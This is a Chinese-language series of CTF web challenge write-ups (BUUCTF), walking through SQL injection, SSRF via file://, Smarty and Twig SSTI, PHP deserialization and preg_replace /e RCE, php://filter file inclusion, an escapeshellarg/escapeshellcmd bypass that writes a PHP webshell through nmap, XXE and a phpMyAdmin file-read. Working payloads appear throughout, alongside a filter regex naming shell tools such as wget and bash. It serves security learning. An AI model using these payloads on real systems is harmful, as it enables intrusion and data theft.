Buu Challenge One
[网鼎杯 2018]Fakebook
信息收集
此时进去之后有一个登入和注册的界面,此时我们先考虑注册一个账号试试看,然后抓包后看看请求包和响应包是否有啥信息
接下来可以扫一下目录,看看是否存在源码泄露;此时发现了大量的源码泄露和一个robots.txt
robots.txt
此时我们访问robots.txt发现它是禁止所有的机器人访问特定的目录
1 | User-agent: * |
此时访问之后发现是.bak的备份文件泄露
代码审计
此时发现是.bak的备份文件泄露之后,此时我们对uesr.php进行代码审计
此时这个代码是使用cURL库中获取内容;此时会先使用一个正则表达式来检验博客的有效性,如果此博客有效便会关闭cURL并返回此博客的内容;那么此时我们注意到在get()方法内出现了一个curl_exec()函数,此时若是这个函数使用不当的话便会造成ssrf;结合我们之前扫描出来的flag.php;我们可以利
用curl支持的协议进行读取flag.php
1 | Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp |
此时我们可以利用file://伪协议进行读取flag.php的内容;但是由于在user.php中存在正则匹配,所以此时我们无法注册端进行读取,那么此时我们应该找一个输入点进行读取
寻找切入点
此时在view.php中发现了一个以SQL注入的注入点,并且通过其回显我们知道此时这个SQL语句并没有进行其他闭合
此时我们考虑通过这个进行SQL注入查询;此时经过查询之后发现有4列;此时过滤了union select,那么此时我们可以利用注释符号进行后台对其整体的过
滤
1 | payload1:-1%20union/**/select%201,database(),3,4 -->数据库名为fakebook |
此时我们发现在data里面储存了序列化的字符串,刚好和我们在user.php的代码中的序列化一致,那么此时我们可以构造exp进行读取
exp的构造
exp:
1 |
|
payload:
1 | -1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"hey";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
那么此时这一题考察的是在php的代码审计中可以发现到curl()控制不严格导致可以通过file://伪协议读取文件和存在sql注入可以导致发现了数据库中存在对于我们输入数据的序列化结果,导致我们可以利用ssrf伪造数据进行读取。
非预期解-直接读取flag.php
load_file():
load_file() 是用于从本地文件系统中加载文件内容的函数。它接受文件路径作为参数,并返回文件的内容或表示该内容的数据结构。
payload:
1 | 1%20union/**/select%201,load_file("var/www/html/flag.php"),3,4 |
考点
php代码审计
sql注入
ssrf
php反序列化
[RoarCTF 2019]Easy Java
信息收集
在help中的url栏中发现了一个以get提交的文件访问,此时我们可以切换到POST提交,因为这是一道java安全的题目,此时我们可以先来读取一下/WEB-INF/web.xml;这个是Web应用的程序配置文件,描述了servlet和其他应用组件配置及其命名规则
此时我们继续访问flag的class文件,此时就可以拿到flag了
考点
WEB-INF
0x01.
/WEB-INF/web.xml:Web应用程序配置文件,描述了servlet和其他应用的应用组件配置及命名规则。Servlet是Java编写的服务器端组件,用于处理HTTP请求和生成响应。
Servlet -> 处理web请求并生成相应的相应
1 | Servlet的主要功能包括: |
0x02.
/WEB-INF/classes/:包含了站点所有的class文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中。Java中的Class文件是Java编译器(javac)将Java源代码编译生成的二进制文件。它包含了已编译的Java类的字节码表示形式。
Class -> javac将java源代码编译生成的二进制文件
1 | 当你编写Java源代码并使用javac编译器进行编译时,它会生成一个或多个对应的Class文件。每个Class文件都对应一个Java类或接口。 |
0x03.
/WEB-INF/lib/:存放web应用的需要的JAR文件。JAR文件是Java平台中常用的文件格式,用于打包和分发Java类、资源和元数据。它提供了方便的方式来组织、部署和共享Java代码和应用程序。
0x04.
/WEB-INF/src/:源码目录,按照包名存放各个java文件
tips:
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
[BJDCTF2020]The mystery of ip
信息收集
此时进去是一个界面,此时我们利用Wappalyzer先进行一个框架收集;此时我们发现这里的编程语言是PHP
然后发现有一个flag界面,此时我们点击之后发现了一个显示ip地址的界面,并且在hint界面发现了一个提示问我们是否知道为什么可以获取我们的ip地址
此时我们可以先抓个包看看,此时我们并没有发现什么,结合前面提醒我们的ip地址我们可以联想到X-Forwarded-For这个请求头,此时我们将其添加进去看看
此时我们添加进行的127.0.0.1已经被返回到界面中了,那么此时我们可以怀疑在这个X-Forwarded-For请求头中存在一个RCE的点,此时经过测试发现我们可以通过Smarty框架的SSTI进行一个RCE
Smarty模板引擎注入
1 | payload1:{$smarty.version} |
1 | payload2:{system('ls /')} |
1 | paylaod3:{system('cat /flag')} |
考点
PHP的Smarty服务器模板引擎注入
[网鼎杯 2020 朱雀组]phpweb
信息收集
此时进入之后会发现这个界面在不断的刷新;此时我们直接采取简单粗暴的方法抓包看看请求包里面有什么;此时发现通过POST传参传了一串不知道什么玩意儿
1 | func=date&p=Y-m-d+h%3Ai%3As+a |
此时我们可以猜测这个func应该是function;然后这个p应该是个payload;通过万能的chatgpt我们知道可这个func传入的应该是一个函数名,然后p传入的应该是这个函数的参数
那么此时我们想到的当然是利用函数进行RCE,此时我可以尝试使用system()或者exec()或者eval()函数进行RCE;此时发现均被过滤;那么我们尝试进行源码的读取,看看是否存在源码的泄露此时可以使用file_get_contents()或者highlight_file()或者readfile()进行一个读取;发现存在源码泄露
代码审计
此时先定义了一堆黑名单。然后有一个gettime()的方法,该方法内有一个回调函数call_user_func($func, $p);改回调函数的意思简单来说就是,调用
$func这个函数并将$p作为该函数的参数;然后在这个方法里面有一个判断该回调函数结果的gettype();此时若是回调函数结果为字符串,则会返回该结果。接下来是定义了一个Text类,该类可以触发gettime()函数;接下来是对$func做一个黑名单的过滤。
那么我们此时会发现unserialize()反序列化函数并不在黑名单之内,那么我们此时便可以将$func=unserialize;然后在$p内传入我们所需要的RCE内容;利用回调函数的调用,利用反序列化的结果帮助我们实现RCE
exp的编写
1 |
|
因为此时没有发现flag,那么我们进行一个模糊匹配的搜索
1 | $p="find / -name 'flag*'"; |
此时进行读取即可获得flag
考点
源码泄露
代码审计
回调函数
反序列化攻击
模糊匹配
[BSidesCF 2020]Had a bad day
信息收集
此时进去之后发现有woofers和meowers两个按钮,此时点击并且抓包试试;此时发现以get提交参数
此时怀疑存在sql注入,此时我们先探测一下其闭合形式;此时发现其报错中包含了include()
那么可以想到可能存在文件包含,那么此时我们可以考虑使用伪协议读取一下源码
1 | payload1:php://filter/read=convert.base64-encode/resource=index.php |
此时在读取的时候发现多包含了.php,那么此时我们修改咱们的payload,去掉后面的.php
1 | payload2:php://filter/read=convert.base64-encode/resource=index |
此时发现源码已经被成功读取
源码审计
此时咱们先不管前面的html,咱们直接看php
1 |
|
此时要求咱们的文件包含必须包含到woofers或者meowers或者index者其中一个关键字才会执行文件包含;那么此时我们可以考虑如何使用伪协议进行读取flag
php://filter的trick
此时利用php://filter可以套一层协议读取其他文件这个小trick;我们来进一步构造我们的payload
1 | php://filter/convert.base64-encode/index/resource=flag |
考点
文件包含
代码审计
php://filter的trick
[BUUCTF 2018]Online Tool
代码审计
此时进去之后直接给了咱们源码;咱们直接进行代码审计
此时先这部分代码检查是否存在HTTP_X_FORWARDED_FOR请求头,如果存在,它将覆盖REMOTE_ADDR变量的值。这通常用于处理经过代理服务器发送的请求
以确保获取真实客户端的IP地址。然后接下来先会检查是否存在名为host的参数,如果不存在则高亮显示当前的文件源码,然后如果存在host参数则会执行以下操作
1.先将host参数存在host中,然后使用escapeshellarg()对host参数进行两次的转义;防止执行系统命令时出现命令注入漏洞。
2.通过使用 md5() 函数将字符串 “glzjin” 与 $SERVER[‘REMOTE_ADDR’](客户端的 IP 地址)进行连接,创建一个唯一的目录名,并将其存储在 $sandbox 变量中。
3.使用 chdir() 函数将当前工作目录更改为 $sandbox 目录。
使用 system() 函数执行系统命令 “nmap -T5 -sT -Pn –host-timeout 2 -F “.$host
escapeshellarg()
1 | escapeshellarg() 函数将对字符串中的特殊字符进行转义,包括空格、单引号、双引号、反斜杠和其他特殊字符。转义的过程会使用反斜杠对这些字符进行转义,以确保它们不会被 shell 解释为特殊意义。 |
escapeshellcmd()
1 | escapeshellcmd() 函数将对命令字符串中的特殊字符进行转义,包括空格、单引号、双引号、反斜杠和其他特殊字符。转义的过程会使用反斜杠对这些字符进行转义,以确保它们不会被 shell 解释为特殊意义。 |
那么此时经过两次的转义,我们的RCE可能就无法成功执行,那么此时我们应该想要如何绕过这两次的转义
PHP escapeshellarg()+escapeshellcmd()的trick
1 | 此时假设我们传入的参数为127.0.0.1' -v -d a=1 |
仔细想想其实这可以算是escapeshellarg和escapeshellcmd的设计问题,因为先转义参数再转义命令是很正常的想法,但是它们在配合时并没有考虑到单引号带来的隐患。如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。
tips:有一点需要注意的是,由于注入的命令中会带有中间的\和最后的’,有可能会影响到命令的执行结果
参考连接:https://paper.seebug.org/164/
getshell
此时我们应该先考虑如何绕过escapeshellarg()+escapeshellcmd();此时我们先尝试如下payload
如上图所示,只需要在我们提交的参数值头尾加上一个单引号即可绕过。
此时无法使用system(‘ls’)的原因是
所以此时考虑使用反引号进行绕过。
接下来咱们要看源码中命令执行的部分,此时考到的是nmap的命令;
tips:
nmap有一个参数-oG可以实现将命令和结果写到文件;所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
1 | payload1:?host=' <?php echo `cat /flag`;?> -oG test.php ' |
考点
代码审计
escapeshellarg()+escapeshellcmd()的trick
[BJDCTF2020]ZJCTF,不过如此
代码审计
进去之久依旧给了咱们源码,此时我们直接进行代码审计
此时要求我们提交的test参数和不为空且其中包含I hava dream;此时我们就可以考虑使用伪协议进行写入
1 | payload1:?text=php://input post:I hava dream |
此时继续往下看,有一个include()文件包含,此时继续考虑使用伪协议进行读取;因为此时要求不能出现flag,然后提示中有indx.php
1 | payload=?file=php://filter/read=convert.base64-encode/resource=next.php |
代码审计
此时先定义了一个通过GET提交的参数id;然后自定义了一个complex函数;此时这个函数中有一个正则表达式,并且该正则表达式采取的式/e模式的匹配
此时它会从$str中寻找$re并替换成strtolower(“\1”);
foreach($GET as $re => $str)这是一个foreach循环,遍历$GET数组中的每个键值对。在循环体内,调用complex函数将当前键值对的键和值作为参数
传递,并将结果输出。此时就是就是把我们传进去的参数变为正则,并且参数值变为字符串。
最后定义了一个getFlag()的函数,其作用中有eval()函数;此时可以考虑利用这个eval()函数进行命令执行。
preg_replace()的/e模式的rce
tips1:
preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当
做代码来执行。
tips2:
正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;
- 号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)
tips3:
php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)
tips4:
因为php里会把参数名里的特殊字符转为下划线_,那么我们只能用\S+传参
所以此时的paylaod
1 | ?\S*=${getFlag()}&cmd=system('cat /flag'); |
考点
php伪协议
preg_replace()的/e模式的rce
php传参的trick
[GXYCTF2019]禁止套娃
信息收集
此时界面询问我们flag在哪;此时我们先直接访问/flag.php发现界面为空;接着发现此时没有参数可以让咱们进行一个伪协议的读取;此时我们直接扫描
后台看看能否发现什么东西;果不其然存在git泄露
此时我们使用GitHack将其源码clone下来
代码审计
此时先使用include()包含了flag.php;接下来使用正则表达式检查了$exp参数中是否包含data://, filter://, php:// 或 phar:// 等协议。如果匹配到其中任何一个协议;就会执行”还想读flag,臭弟弟!”;接下来继续检查$exp中是否包含括号内的函数调用,并将其替换为空字符串。如果替换结果与一个单独的分号(;)相等,则继续执行下面的代码块。如果匹配结果与分号的强比较不想等则会输出”再好好想想”;接下来这行代码使用正则表达式检查$exp中 参数是否包含诸如 “eval”, “exec”, “system” 等可能用于执行代码的关键字。如果未匹配到这些关键字则会执行eval函数。
此时我们的注意点放在
1 | preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']) |
此时这个会将括号内的任何字符替换为空;那么此时我们可以考虑使用到无参数的RCE
无参数RCE
此时直接掏出我们之前的payload
1 | ?exp=print_r(scandir(current(localeconv()))); |
可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。
那么此时我们可以利用array_reverse()以相反的元素顺序返回数组,再用next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php
或者array_rand()函数可以随机读取一个数组键,array_flip()又可以将数组中的键和值进行对换。用这两个函数就可以实现对flag.php的读取。
1 | ?exp=readfile(next(array_reverse(scandir(pos(localeconv()))))); |
利用session中的PHPSESSID可以获取当前会话ID
tips:
session_id()可以用来获取/设置当前会话的id;且因为flag.php这些字符是PHPSESSID本身就支持的。所以此时我们可以利用session_id来获取flag
使用session之前需要通过session_start()告诉PHP使用session,php默认的是不主动使用session的,session_id()可以获取当前的session_id。
然后我们手动设置名为PHPSESSID的cookie,并设置为flag.php
考点
git泄露
无参数RCE
PHPSESSID可识别
[NCTF2019]Fake XML cookbook
信息收集
此时根据这道题的名字,此时我们大概可以知道考点在于XML外部实体注入;此时我抓个包进行查看
使用了XML传输数据,然后尝试XXE读取文件
XXE
此时我们开始编写我们的payload
1 |
|
考点
存在回显的XXE
[GWCTF 2019]我有一个数据库
信息收集
此时进去之后先翻看源码发现没有东西存在,接下来因为它题目告诉我们他有一个数据库,那么此时我们考虑sql注入;但是寻找一翻并没有找到所谓的注入点在哪里;那么此时我们只能扫描以下后台;看看是否存在什么泄露或者有其他的资产没有被发现
果不其然我们发现了一个phpmyadmin数据库
此时发现该phpmyadmin数据库的版本过低;可以在网上找找有没有exp直接给他打过去;此时果然发现了现成的payload
参考文章: https://blog.mo60.cn/index.php/archives/228.html
payload:
1 | ?target=db_sql.php%253f/../../../../../../../../flag |
直接对整台服务器getshell: https://blog.aabyss.cn/post-127.html
考点
信息泄露
phpmyadmin
[BJDCTF2020]Mark loves cat
信息收集
此时进来后这个界面给了很多的栏目;毫无头绪之时继续掏出dirsearch扫一扫;此时发现存在git源码泄露
源码审计
flag.php
1 | <?php |
index.php
此时先使用了一个include()包含flag.php;然后此时定义了三个参数;接下来是两个不含有if()的foreach()遍历函数;这两个foreach()的作用都是进行变量的覆盖
1.foreach()处理POST提交的数据:此时会遍历POST数组中的每个键值对,然后通过$$x这种方式将其转换为动态变量例如,如果POST数组中有一个键值对为flag=example, 那么在这个循环结束后,就会生成一个名为 $flag 的变量,并且它的值是 “example”。
2.foreach()处理GET提交的数据:这个循环与之前的循环类似,但这次 $y 是一个动态变量。例如,如果$GET数组中有一个键值对为flag=handsome,且 $handsome 已经在之前的代码中被赋值为 “yds”,那么在这个循环结束后,就会生成一个名为 $flag 的变量,并且它的值是 “yds”。
3.接下来代码再次的遍历get数组,这个方法用于检查是否有请求参数为flag且不等于flag的情况;如果有则会输出$handsome的值并退出代码。
4.接下来,代码检查是否存在 flag 参数,如果既不存在 $GET[‘flag’] 也不存在 $POST[‘flag’],则输出 $yds 的值并退出代码
5.如果存在名为 flag 的 POST 参数或 GET 参数,并且它的值等于 ‘flag’,那么将输出 $is 的值并终止程序。在这个例子中,$is 的值是 ‘cat’,所以如果存在名为 flag 的参数且值为 ‘flag’,将输出 ‘cat’ 并立即终止执行。
变量覆盖
此时我们利用exit()的输出功能
1 | if(!isset($_GET['flag']) && !isset($_POST['flag'])){ |
此时要求我们GET或者POST传$flag不为空
继续利用
1 | foreach($_GET as $x => $y){ |
此时利用我们上面代码审计的结果:在这个里面,首先是 $x=yds,$=flag 。把它带进foreach里面,就变成了$yds=$flag 。$$x就相当于是$($x),这样
就非常好理解变量覆盖漏洞了。
所以构造payload
1 | ?yds=flag |
考点
变量覆盖
[WUSTCTF2020]朴实无华
信息收集
发现好像没有什么东西;直接dirsearch扫一遍看看发现了robots.txt
进去之后给了一个假的flag地址;真的是朴实无华啊;这个时候咱们抓包看看;看看请求包里面是否存在信息泄露;此时在响应包里面发现了另外一个信息泄露
代码审计
此时我们先看level 1:
1 | //level 1 |
此时要求我们通过GET提交$num;并且要求$nun在取整过后小于2020;加一之后大于2021;此时我们可通过科学计数法进行绕过即可
level 2:
1 | //level 2 |
此时要求我们依旧通过GET方式提交$md5并且要求我们此时提交的$md5和$md5经过md5加密之后的弱比较想等;在==的情况下只要以0e开头的数值加密后结果也是0e即可绕过
level 3:
1 | //get flag |
此时只是过滤了cat和空格而已;此时可以利用tac或者more或者编码绕过;方式有很多种
payload
1 | level 1:?num=2e4 |
考点
代码审计
php的trick
[BJDCTF2020]Cookie is so stable
信息收集
此时根据Hint我们注意到了Cookie;此时这里有一个user是我们可控参数
此时考虑到模板注入;所以此时我们按照那张老图进行测试
先输入${7*7}
;此时呢并没有进行一个算数运算;所以我们继续往下测试
此时我输入{{7*7}}
;验证是否存在ssti;此时发现被成功解析
接下来我们要判断的就是是Jinja2模板或者是Twig模板;
1 | {{7*'7'}} 回显7777777 ==> Jinja2 |
Twig模板的SSTI
此时经过测试发现是Twig模板;此时直接网上找个payload直接进行测试
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
考点
Twig模板的SSTI
[安洵杯 2019]easy_web
信息收集
此时存在三个可疑点;一是img后面接的字符;二是cmd为可控参数;三是base64转换的图片;此时我们先对img的可疑字符进行查看
此时经过三次的解码之后发现是图片的名字55.png
那么此时我们继续对index.php进行三次的加密得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
ps:好好好,这么玩是吧;感觉这里结合了密码和杂项的思维
代码审计
那么此时我们将重点放在
1 | if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { |
此时对$cmd做了一个linux的正则过滤;然后要输出$cmd的条件是以POST提交的a不等于b但是其md5值相等;又因为因为
1 | |\\|\\\\| |
只对双斜杠和四斜杠进行了过滤,正则中\\才相当于一个\,对于preg_match这个函数可以通过单反斜杠\进行绕过,也就是说可以直接使用反斜杠绕过
这个正则表达式
1 | ls --> l\s |
然后此时md5的强比较的话我们已经见过很多次了;直接拿之前的payload即可
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
此时我们发现命令已经可以执行
绕过方法二
此时发现sort和strings并没有被过滤;所以此时可以利用
1 | cmd=strings%20/flag |
考点
代码审计
绕过
[强网杯 2019]高明的黑客
信息收集
进去之后直接给了源码提交下载;很开心,结果点开之后是三千多个源码很崩溃。开局暴击满眼都是里面有GET,POST,exec,eval,assert…这不都是shell的格式嘛?但是好像没法利用,那也就是说明这3000个文件中肯定至少有一个是真实的shell,这也印证了被黑之后,放混淆代码的意图
getshell
此时我们可以利用脚本来找这些文件的利用点
此时我们先在phpstudy里面开一个web环境来搭载我们这些源码;然后利用网上大佬的脚本来进行测试
1 | import os |
此时这个脚本是用来帮助我们打开所以的php文件;然后通过GET或者POST的方式进行传参然后找到利用点进行getshell
payload=?Efa5BVG=cat%20/flag